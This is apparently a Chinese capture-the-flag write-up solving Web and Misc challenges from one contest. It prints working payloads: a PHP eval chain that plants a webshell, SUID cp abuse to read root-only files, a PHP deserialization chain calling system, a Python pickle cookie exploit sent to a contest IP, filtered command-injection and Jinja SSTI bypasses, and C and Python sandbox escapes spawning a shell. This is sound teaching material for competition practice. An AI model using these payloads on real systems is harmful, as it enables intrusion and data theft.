写在前面
今天打完盘古石全国电子数据取证大赛（300G的赛题磁盘直接爆红），赛后整理文件的时候发现了这个比赛题解还没发，浅浅的更新一下。这比赛原(tou)题还是挺多的，国外搬到国内
Web
仔细ping
那必须输入?ip=127.0.0.1
一番 fuzz 发现没过滤 nl
?ip=nl flag.phpMay_be
May be you should bypass
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a)) {
if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){
eval($a);
}else{
die("May be you should bypass.");
}
}else{
die("nonono");
}
?>无参RCE，我们直接利用全局变量写 shell（因为一直读不到 flag =.=
?a=eval(end(current(get_defined_vars())));
&b=file_put_contents('shell.php', '%3C%3Fphp%20%40eval(%24_POST%5Bcmd%5D)%3B');读了半天 flag 一直为空，最后看了一下权限 700 …我们直接查找 suid 权限
/var/www/html/ >ls -al /
total 77
drwxr-xr-x 1 root root 4096 Apr 28 09:15 .
drwxr-xr-x 1 root root 4096 Apr 28 09:15 ..
-rwx------ 1 root root 39 Apr 28 09:16 .ffffffIIIIIII44444444444gggg
...
-rwxr-xr-x 1 root root 91 Apr 19 03:12 pushflag.sh
-rwxr-xr-x 1 root root 92 Aug 16 2022 start.sh
/var/www/html/ >find / -perm -4000 2> /dev/null
/bin/cp
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd我们发现 cp 命令具有 suid 权限，两种方法，直接读 flag
cp /.ff* /dev/stdount另一种是通过 cp 提权，可以参考 Linux提权之SUID提权
pop
一条很简单的链子
<?php
highlight_file(__FILE__);
class TT{
public $key;
public $c;
public function __destruct(){
echo $this->key;
}
public function __toString(){
return "welcome";
}
}
class JJ{
public $obj;
public function __toString(){
($this -> obj)();
return "1";
}
public function evil($c){
eval($c);
}
public function __sleep(){
phpinfo();
}
}
class MM{
public $name;
public $c;
public function __invoke(){
($this->name)($this->c);
}
public function __toString(){
return "ok,but wrong";
}
public function __call($a, $b){
echo "Hacker!";
}
}
$a = unserialize($_GET['bbb']);
throw new Error("NoNoNo");根据 【技术分享】PHP序列化冷知识 一文，我们可以通过 fast destruct 提前触发魔术方法，从而绕过 throw new Error("NoNoNo"); 语句，注意我们传递 payload 的时候，需要将最后面的 } 删掉
<?php
class TT{
public $key;
public $c;
}
class JJ{
public $obj;
}
class MM{
public $name="system";
public $c="cat /flag";
}
$flag = new TT();
$flag->key=new JJ();
$flag->key->obj=new MM();
$flag->key->obj->name="system";
$flag->key->obj->c="cat /flag";
var_dump(serialize($flag));
# O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N;}JUST_LFI
import os, hmac, hashlib, base64, pickle, requests
def tob(s, enc='utf8'):
if isinstance(s, str):
return s.encode(enc)
return b'' if s is None else bytes(s)
def touni(s, enc='utf8', err='strict'):
if isinstance(s, bytes):
return s.decode(enc, err)
return str("" if s is None else s)
def create_cookie(name, value, secret):
d = pickle.dumps([name, value], -1)
encoded = base64.b64encode(d)
sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=hashlib.md5).digest())
value = touni(tob('!') + sig + tob('?') + encoded)
return value
class PickleRCE(object):
def __reduce__(self):
return (exec,("""
from bottle import response
import subprocess,base64
flag = subprocess.check_output('cat /f*', shell=True)
response.set_header('X-Flag',base64.b64encode(flag))
""",))
session = {"user": PickleRCE()}
cookie = create_cookie("user", session, "Th1sIIIIIIsAAAsecret")
r = requests.get("http://39.107.243.76:40183/login", cookies={"user": cookie})
print(base64.b64decode(r.headers["x-flag"]).decode("ascii"))notrce
exec?为啥不是eval…
<?php
highlight_file(__FILE__);
error_reporting(0);
$c=$_POST['c'];
if(!preg_match("/vi|less|tail|head|od|sh|echo|touch|re|mv|rm|cat|ls|tac|more|cut|curl|wget|base|>|<|`|\*|\\$|\\\/i",$c)){
exec($c);
}else{
die("hacker");
}没过滤 nl，但是发现命令无回显，我们直接使用 tee 命令复制一下 flag，由于怕 flag 不是常规文件名，使用 ? 模糊匹配一下
c=nl /f???|tee 1.txt完美网站
网站有问题！！！都打不开，还敢说是完美网站。
<?php
header("Content-type:text/html;charset=utf-8");
echo "别重定向了，赶快让我（?n=30-10,以内的数值。)-_-";
$image=$_GET['img'];
$allow = range(2,20);
shuffle($allow);
if(($_GET['n']==$allow[0])){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("tupian.png");
header("location:/?img=".$image);
}访问环境发现无限重定向，同时 url 存在一段编码 dHVwaWFuLnBuZw==，解码后得到 tupian.png，我们直接下载图片，在文件尾部发现 ffffpq.php，应该就是 flag 位置
使用 burp 抓包发现提示：别重定向了，赶快让我（?n=30-10,以内的数值。) -_-
那么思路就理清了，需要传递 n 和 img，n 的值取决于提示，img 的值是 base64 编码后的文件名，直接爆破
GET /?n=1&img=aW5kZXgucGhw HTTP/1.1
Host: 39.106.65.214:17095
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
it’s time
对miniID进行尝试，有过滤的SSTI
from flask import Flask,render_template,request,render_template_string
app = Flask(__name__)
@app.route('/',methods = ['POST','GET'])
def index():
def safe_jinja(m):
forbidden = ['[','{{','_','class','+','popen','*','import','request']
for n in forbidden:
while True:
if n in m:
return "Forbidden!!!"
else:
break
return m
id = request.args.get('miniID')
html = '''
<h2 align="center">it's time.Show me your documents,please.</h2>
<h2 align="center">I will GET your miniID.</h2>
<h2 align="center">%s</h2>
'''%(id)
html = safe_jinja(html)
return render_template_string(html)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)没啥好说的，直接一个 Payload 通杀所有 SSTI 赛题(手动滑稽)，注意题目源码中过滤了 _ 和 *，而 flag 文件名又存在 _，我们使用 ? 绕过一下
{%print config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat /f1ag?g4lfcdecddefewfebge')|attr('%c%c%c%c'|format(114,101,97,100))()%}Misc
图片的秘密
一张简单的图片
下载后得到一个 docx 文件，打开后发现只贴了一张图片，直接后缀名改为 zip，得到如下信息
/docProps/pass.txt
/word/media/image1.png直接使用在线网站解码即可
easymisc
简单的misc从基础出发
下载后得到大量文件夹，在 change19 目录中动图的第14 帧发现一闪而过的二维码，扫码后得到
链接：https://pan.baidu.com/s/1D-XdJvkKWbVFoRx_AEZZzw?pwd=v6p6
提取码：v6p6附件 500MB 一度以为题目出错了，不过看着解开的人越发越多，直接借了个会员下载了，全局搜索 flag 发现提到了一个 mnt 目录
挨个看，留意哪个压缩包里存在 mnt 目录，最后在 a12553183e6feaa32744e405985000f41591bdff85f9d81967a6405196e3a71a 目录的压缩包里发现 mnt 目录，同时目录里存在一个二维码动图 559.gif，使用 PS 拼一下得到 flag
cb0x-new
Welcome to my c sandbox,Hope u can escape it.Good luck!!!!
_____ _ ___
/ ____| | / _ \
| | | |__ | | | |_ __
| | | '_ \| | | \ \/ /
| |____| |_) | |_| |> <
\_____|_.__/ \___//_/\_
Welcome to the Cb0x challenge
The six step of this challenge
1. You can input your source code of main.c(base64ed),And will copy /home/ctf/main.c to /tmp/main.c
2. Your input is decoded by base64 and append in /tmp/main.c
3. main.c will be complied and run,command are as followed
4. compiled command ==> gcc main.c -w -o main
5. run command ==> subprocess.run(['./main'], stdout=sys.stdout, stderr=subprocess.DEVNULL)
6. The main.c source code are as followed:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
setbuf(stdin, NULL);
char* fake_flag_but_real_flag_in_the_remote = "flag{DELETE}";
return 0;
}我们通过 constructor 让我们定义的函数在 main() 之前运行即可。
__attribute__((constructor)) void a()
{
system('1');
}X19hdHRyaWJ1dGVfXygoY29uc3RydWN0b3IpKSB2b2lkIGEoKQp7CglzeXN0ZW0oJzEnKTsKfQ==然后根据题目所述在 /home/ctf/main.c 得到 flag
j@il-new
jail me pls
import sys, ast
import base64
WELCOME = '''
____ ____ ____ _
| | / \| || |
|__ || _ | | | | |
__| || / | | | | |___
/ | || \__| | | | |
\ ` || | | | | |
\____| \__,_||____||_____|
'''
print(WELCOME)
print("Welcome j@il! This is whitelist for your input --> [a-z] ' _ = : ()")
print("Env:python3.10 import code --> eval(input_data, {'__builtins__': {'__import__': __import__}})")
print("input your code:")
input_data = input(">")
if any(x not in "abcdefghijklmnopqrstuvwxyz_':=()" for x in input_data):
print("bad cod")
else:
try:
print(eval(input_data, {"__builtins__": {"__import__": __import__}}))
except Exception as e:
print("err", e)(__builtins__:=__import__('os'))and(lambda:system)()('sh')
time
时间如白驹过隙
貌似是原题: 江苏工匠杯 时间刺客，文件的最后修改时间转时间戳然后和文件内的时间戳相减就是 flag 的 ascii 码
import os
flag = []
for i in range(38):
with open(f"change{i}.txt") as f:
file_content = f.read().strip()
time = int(os.path.getmtime(f"change{i}.txt"))
timestamp = int(str((int(time * (10 ** 9) % (2 ** 64 - 1) / (10 ** 9))))) - int(file_content)
flag.append(chr(timestamp))
print("".join(flag))